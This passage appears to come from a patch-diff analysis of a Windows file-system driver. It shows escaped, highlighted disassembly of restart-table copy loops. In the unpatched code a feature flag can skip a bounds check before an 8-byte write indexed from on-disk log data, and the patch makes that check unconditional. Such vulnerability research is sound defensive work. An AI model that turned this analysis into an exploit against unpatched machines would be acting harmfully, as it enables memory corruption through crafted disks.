&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206058&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0206093&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; loop exit&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C020605A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;g_Feature_2076398905_59354624_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206061&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; runtime feature evaluation&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206066&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; src VCN field (from on-disk log record)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C020606A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; minus dest start VCN&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C020606D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; plus loop counter -&amp;gt; write index&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C020606F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; feature result&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206071&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C020607C&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; feature == 0 -&amp;gt; skip bounds check&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206073&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; index vs capacity&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206076&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C020612E&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; STATUS_DISK_CORRUPT&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C020607C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C020607E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; read source extent&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206083&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; 8-byte write at computed index&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206088&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C020608A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Eh&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C020608F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206091&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0206058&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;PageUpdateAnalysis&lt;/code&gt; — Patched copy loop (&lt;code&gt;0x1C0205D04&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205F9C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205F9F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Eh&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; counter vs entry count&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FA4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0205FDD&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FA6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;188&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_148&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; dest restart-table entry&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FAB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; src VCN field&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FAF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; minus dest start VCN&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FB3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; plus loop counter -&amp;gt; write index&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FB6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; index vs capacity (unconditional)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FBA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0205FFE&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; STATUS_DISK_CORRUPT&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FBC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FBF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FC1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; read source extent&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FC6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;188&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_148&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FCB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; 8-byte write at checked index&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FD0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FD3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Eh&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FD8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0205FDB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0205FAB&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The unpatched build has the sequence &lt;code&gt;lea rcx, g_Feature_2076398905_59354624 / call EvaluateCurrentState / test eax,eax / jz&lt;/code&gt; gating the &lt;code&gt;cmp ecx,[rdi+0xc]&lt;/code&gt; / &lt;code&gt;jnb&lt;/code&gt;. The patch removes those four instructions; the &lt;code&gt;cmp&lt;/code&gt;/&lt;code&gt;jnb&lt;/code&gt; always executes.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;ReadRestartTable&lt;/code&gt; — Unpatched key sequence (&lt;code&gt;0x1C020634C&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C02063D3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Eh&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; entry count&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C02063DE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14w&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C02063E2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C02063F0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C02063E7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; computed = (count&amp;lt;&amp;lt;3)+0x20&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C02063EE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C02063F5&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C02063F0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C02063F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;g_Feature_2076398905_59354624_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C02063FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206401&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206403&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0206412&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; feature == 0 -&amp;gt; skip size check&lt;/span&gt;
